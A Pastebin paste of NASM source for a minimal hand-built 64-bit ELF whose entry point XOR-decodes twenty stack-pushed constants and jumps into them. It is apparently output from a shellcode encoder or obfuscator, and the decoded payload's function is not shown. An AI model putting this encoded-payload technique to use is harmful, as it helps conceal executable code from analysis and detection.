Advertisement
Madmouse

yay, its generating working code, time to make it robust

Jun 25th, 2016
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. [bits 64]
  2. section .text
  3. global _start
  4. org 0x08048000
  5. ehdr:                               ; Elf64_Ehdr
  6.  db 0x7F, "ELF",                    ;   e_ident
  7.  times 12 db      0
  8.  dw 2                               ;   e_type
  9.  dw 62                              ;   e_machine
  10.  dd 1                               ;   e_version
  11.  dq _start                          ;   e_entry
  12.  dq phdr - $$                       ;   e_phoff
  13.  dq 0                               ;   e_shoff
  14.  dd 0                               ;   e_flags
  15.  dw ehdrsize                        ;   e_ehsize
  16.  dw phdrsize                        ;   e_phentsize
  17.  dw 1                               ;   e_phnum
  18.  dw 0                               ;   e_shentsize
  19.  dw 0                               ;   e_shnum
  20.  dw 0                               ;   e_shstrndx
  21.  ehdrsize equ $ - ehdr
  22. phdr:                               ; Elf64_Phdr
  23.  dd 1                               ;   p_type
  24.  dd 7                               ;   p_flags
  25.  dq 0                               ;   p_offset
  26.  dq $$                              ;   p_vaddr
  27.  dq $$                              ;   p_paddr
  28.  dq filesize                        ;   p_filesz
  29.  dq filesize                        ;   p_memsz
  30.  dq 0x1000                          ;   p_align
  31.  phdrsize equ $ - phdr
  32. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  33.  
  34. _start:
  35.     mov rax, 0x4732727418c6cccc
  36.     push rax
  37.     xor dword [rsp+4], 0x423d2a48
  38.     xor dword [rsp], 0x72393333
  39.  
  40.     mov rax, 0x009f763e0a632262
  41.     push rax
  42.     xor dword [rsp+4], 0x6a762a6e
  43.     xor dword [rsp], 0x4b662d3d
  44.  
  45.     mov rax, 0x187603270a56210b
  46.     push rax
  47.     xor dword [rsp+4], 0x49375b24
  48.     xor dword [rsp], 0x60532e53
  49.  
  50.     mov rax, 0x533c6f6562531504
  51.     push rax
  52.     xor dword [rsp+4], 0x68563031
  53.     xor dword [rsp], 0x35537d77
  54.  
  55.     mov rax, 0x4e593b0e1f8e3306
  56.     push rax
  57.     xor dword [rsp+4], 0x6137526c
  58.     xor dword [rsp], 0x30317b50
  59.  
  60.     mov rax, 0x293c9f055a560c0a
  61.     push rax
  62.     xor dword [rsp+4], 0x736a6970
  63.     xor dword [rsp], 0x5f59542b
  64.  
  65.     mov rax, 0x2093d06d044d496f
  66.     push rax
  67.     xor dword [rsp+4], 0x4a5d2f25
  68.     xor dword [rsp], 0x5a4e235d
  69.  
  70.     mov rax, 0x28587908456155c9
  71.     push rax
  72.     xor dword [rsp+4], 0x5d604e3e
  73.     xor dword [rsp], 0x70652d48
  74.  
  75.     mov rax, 0x6f69136f1362555d
  76.     push rax
  77.     xor dword [rsp+4], 0x2e55665b
  78.     xor dword [rsp], 0x20506465
  79.  
  80.     mov rax, 0xb66e7d37323d106f
  81.     push rax
  82.     xor dword [rsp+4], 0x372f7838
  83.     xor dword [rsp], 0x68357a31
  84.  
  85.     mov rax, 0x1766070a051773ed
  86.     push rax
  87.     xor dword [rsp+4], 0x4727585b
  88.     xor dword [rsp], 0x444f213f
  89.  
  90.     mov rax, 0x7a0ad2085bd7f50e
  91.     push rax
  92.     xor dword [rsp+4], 0x4b426d75
  93.     xor dword [rsp], 0x5a2f7646
  94.  
  95.     mov rax, 0x43403f4437051e61
  96.     push rax
  97.     xor dword [rsp+4], 0x464f677d
  98.     xor dword [rsp], 0x5d556b61
  99.  
  100.     mov rax, 0xb4a13b613e7d7844
  101.     push rax
  102.     xor dword [rsp+4], 0x4c227364
  103.     xor dword [rsp], 0x3125522e
  104.  
  105.     mov rax, 0x1b6a1c351f2d053b
  106.     push rax
  107.     xor dword [rsp+4], 0x417a766b
  108.     xor dword [rsp], 0x4b2f213f
  109.  
  110.     mov rax, 0x87413c44653fa24c
  111.     push rax
  112.     xor dword [rsp+4], 0x41782746
  113.     xor dword [rsp], 0x417b652a
  114.  
  115.     mov rax, 0x137ea219641f351b
  116.     push rax
  117.     xor dword [rsp+4], 0x412c7028
  118.     xor dword [rsp], 0x2c467444
  119.  
  120.     mov rax, 0x7f695f4e6907620b
  121.     push rax
  122.     xor dword [rsp+4], 0x2f395a41
  123.     xor dword [rsp], 0x315d3c54
  124.  
  125.     mov rax, 0x220d50323428122b
  126.     push rax
  127.     xor dword [rsp+4], 0x20675158
  128.     xor dword [rsp], 0x34423b41
  129.  
  130.     mov rax, 0x67393dc9b3d4cab8
  131.     push rax
  132.     xor dword [rsp+4], 0x3f786959
  133.     xor dword [rsp], 0x23445a28
  134.  
  135.     push rsp
  136.     ret
  137. filesize equ $ - $$
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement